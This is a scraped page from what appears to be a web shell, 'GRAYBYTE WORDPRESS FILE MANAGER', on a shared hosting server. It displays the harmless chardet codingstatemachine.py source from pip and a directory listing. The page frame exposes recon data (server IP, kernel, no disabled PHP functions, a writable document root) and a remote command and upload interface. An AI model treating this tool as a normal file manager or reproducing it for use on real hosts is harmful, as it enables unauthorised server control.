GRAYBYTE WORDPRESS FILE MANAGER7215

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python313/lib/python3.13/site-packages/pip/_vendor/chardet/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python313/lib/python3.13/site-packages/pip/_vendor/chardet//codingstatemachine.py
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import logging

from .codingstatemachinedict import CodingStateMachineDict
from .enums import MachineState


class CodingStateMachine:
    """
    A state machine to verify a byte sequence for a particular encoding. For
    each byte the detector receives, it will feed that byte to every active
    state machine available, one byte at a time. The state machine changes its
    state based on its previous state and the byte it receives. There are 3
    states in a state machine that are of interest to an auto-detector:

    START state: This is the state to start with, or a legal byte sequence
                 (i.e. a valid code point) for character has been identified.

    ME state:  This indicates that the state machine identified a byte sequence
               that is specific to the charset it is designed for and that
               there is no other possible encoding which can contain this byte
               sequence. This will to lead to an immediate positive answer for
               the detector.

    ERROR state: This indicates the state machine identified an illegal byte
                 sequence for that encoding. This will lead to an immediate
                 negative answer for this encoding. Detector will exclude this
                 encoding from consideration from here on.
    """

    def __init__(self, sm: CodingStateMachineDict) -> None:
        self._model = sm
        self._curr_byte_pos = 0
        self._curr_char_len = 0
        self._curr_state = MachineState.START
        self.active = True
        self.logger = logging.getLogger(__name__)
        self.reset()

    def reset(self) -> None:
        self._curr_state = MachineState.START

    def next_state(self, c: int) -> int:
        # for each byte we get its class
        # if it is first byte, we also get byte length
        byte_class = self._model["class_table"][c]
        if self._curr_state == MachineState.START:
            self._curr_byte_pos = 0
            self._curr_char_len = self._model["char_len_table"][byte_class]
        # from byte's class and state_table, we get its next state
        curr_state = self._curr_state * self._model["class_factor"] + byte_class
        self._curr_state = self._model["state_table"][curr_state]
        self._curr_byte_pos += 1
        return self._curr_state

    def get_current_charlen(self) -> int:
        return self._curr_char_len

    def get_coding_state_machine(self) -> str:
        return self._model["name"]

    @property
    def language(self) -> str:
        return self._model["language"]

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 15 2025 09:40:17
root / linksafe
0755
__pycache__
--
January 15 2025 09:40:17
root / linksafe
0755
cli
--
January 15 2025 09:40:17
root / linksafe
0755
metadata
--
January 15 2025 09:40:17
root / linksafe
0755
__init__.py
4.685 KB
December 01 2024 12:47:36
root / linksafe
0644
big5freq.py
30.541 KB
December 01 2024 12:47:36
root / linksafe
0644
big5prober.py
1.722 KB
December 01 2024 12:47:36
root / linksafe
0644
chardistribution.py
9.797 KB
December 01 2024 12:47:36
root / linksafe
0644
charsetgroupprober.py
3.823 KB
December 01 2024 12:47:36
root / linksafe
0644
charsetprober.py
5.293 KB
December 01 2024 12:47:36
root / linksafe
0644
codingstatemachine.py
3.645 KB
December 01 2024 12:47:36
root / linksafe
0644
codingstatemachinedict.py
0.529 KB
December 01 2024 12:47:36
root / linksafe
0644
cp949prober.py
1.816 KB
December 01 2024 12:47:36
root / linksafe
0644
enums.py
1.644 KB
December 01 2024 12:47:36
root / linksafe
0644
escprober.py
3.912 KB
December 01 2024 12:47:36
root / linksafe
0644
escsm.py
11.891 KB
December 01 2024 12:47:36
root / linksafe
0644
eucjpprober.py
3.842 KB
December 01 2024 12:47:36
root / linksafe
0644
euckrfreq.py
13.248 KB
December 01 2024 12:47:36
root / linksafe
0644
euckrprober.py
1.712 KB
December 01 2024 12:47:36
root / linksafe
0644
euctwfreq.py
36.048 KB
December 01 2024 12:47:36
root / linksafe
0644
euctwprober.py
1.712 KB
December 01 2024 12:47:36
root / linksafe
0644
gb2312freq.py
20.249 KB
December 01 2024 12:47:36
root / linksafe
0644
gb2312prober.py
1.718 KB
December 01 2024 12:47:36
root / linksafe
0644
hebrewprober.py
14.196 KB
December 01 2024 12:47:36
root / linksafe
0644
jisfreq.py
25.191 KB
December 01 2024 12:47:36
root / linksafe
0644
johabfreq.py
41.502 KB
December 01 2024 12:47:36
root / linksafe
0644
johabprober.py
1.711 KB
December 01 2024 12:47:36
root / linksafe
0644
jpcntx.py
26.421 KB
December 01 2024 12:47:36
root / linksafe
0644
langbulgarianmodel.py
102.111 KB
December 01 2024 12:47:36
root / linksafe
0644
langgreekmodel.py
96.176 KB
December 01 2024 12:47:36
root / linksafe
0644
langhebrewmodel.py
95.895 KB
December 01 2024 12:47:36
root / linksafe
0644
langhungarianmodel.py
98.987 KB
December 01 2024 12:47:36
root / linksafe
0644
langrussianmodel.py
125.034 KB
December 01 2024 12:47:36
root / linksafe
0644
langthaimodel.py
100.365 KB
December 01 2024 12:47:36
root / linksafe
0644
langturkishmodel.py
93.137 KB
December 01 2024 12:47:36
root / linksafe
0644
latin1prober.py
5.254 KB
December 01 2024 12:47:36
root / linksafe
0644
macromanprober.py
5.935 KB
December 01 2024 12:47:36
root / linksafe
0644
mbcharsetprober.py
3.628 KB
December 01 2024 12:47:36
root / linksafe
0644
mbcsgroupprober.py
2.081 KB
December 01 2024 12:47:36
root / linksafe
0644
mbcssm.py
29.679 KB
December 01 2024 12:47:36
root / linksafe
0644
py.typed
0 KB
December 01 2024 12:47:36
root / linksafe
0644
resultdict.py
0.393 KB
December 01 2024 12:47:36
root / linksafe
0644
sbcharsetprober.py
6.25 KB
December 01 2024 12:47:36
root / linksafe
0644
sbcsgroupprober.py
4.04 KB
December 01 2024 12:47:36
root / linksafe
0644
sjisprober.py
3.913 KB
December 01 2024 12:47:36
root / linksafe
0644
universaldetector.py
14.5 KB
December 01 2024 12:47:36
root / linksafe
0644
utf1632prober.py
8.306 KB
December 01 2024 12:47:36
root / linksafe
0644
utf8prober.py
2.746 KB
December 01 2024 12:47:36
root / linksafe
0644
version.py
0.238 KB
December 01 2024 12:47:36
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF